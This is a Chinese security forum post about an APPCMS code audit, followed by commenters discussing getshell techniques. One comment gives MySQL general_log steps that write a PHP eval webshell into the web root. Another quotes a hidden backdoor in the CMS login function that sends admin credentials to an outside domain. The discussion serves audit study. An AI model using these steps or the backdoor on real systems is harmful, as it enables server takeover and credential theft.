【代码审计】知识星球
介绍
帖子
文件
订阅
工具
PHP解密
编码解码
图片水印
登录
Thinking
2017 十一月 17
分享下一个代码审计案例,主要是记录下审计的心历路程,期待和师傅们聊聊 打后台地址的各种骚姿势~
附件
#
附件名
大小
时间
操作
代码审计_APPCMS SQL-XSS-CSRF-SHELL.pdf
1.4 MB
11/17/2017
返回
28824814485541
王海
思考很深入,值得学习
Lock
如果db是root权限, 1. show variables like '%general%'; 2. set global general_log = on; 3. set global general_log_file = '/path/shell.php'; 4. select '<?php eval($_POST[cmd]);?>' 将内容写到错误日志中,错误日志后缀为php,如果知道web路径的话,这样也可吧
Thinking
@Lock
这种情况是需要知道sql的root权限用户的密码,连接数据库再进行操作对吧,如果是放在我这篇中就是读取配置文件,获得sql的连接密码,在允许远程连接的情况下,就可以适用了。[机智]
Lock
@Thinking
我的理解是改了默认的db的log文件路径及后缀,然后发起一条sql操作,这时候sql的操作会被记录到日志文件中,而日志文件已经被定义到web目录下且被命名为.php结尾,这个时候的日志文件就是shell了
Thinking
@Lock
额。如果是这样的话,那就需要将日志文件改成.php才可以,但是一般是后台才能改这个东西把,在不知道后台地址的情况,就想到xss csrf
Lz1y
@Thinking
这就是phpmyadmin getshell的原理...
A7
之前也在cnvd上看到这个漏洞,还专门去审计了下结果硬是没审计出来,没想到‘HTTP_CLIENT_IP’是通过HTTP头的'CLIENT-IP'获取的,学习了。 不过之前在审计的时候发现判断管理登录的m__login()函数里面有这么一行代码,“@file_get_contents('
http://www.dedecm.info/404/config/replace/w2.php?u...
['uname'].'&password='.$user['upass'].'---安全码:'.$page['post']['safecode'].'----'.$_SERVER['REMOTE_ADDR'].'---'.date('Y-m-d|H:i:s').'---'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);”,还是很有意思..
木禾
mysql大于5.5.53的话,默认情况下,LOAD_FILE那一步是拿不到数据的。只有在my.ini里配置【secure_file_priv=】,才行
Thinking
@木禾
谢谢提醒。GET[得意]
王海
Lock
Thinking
@LockLock
@ThinkingThinking
@LockLz1y
@ThinkingA7
木禾
Thinking
@木禾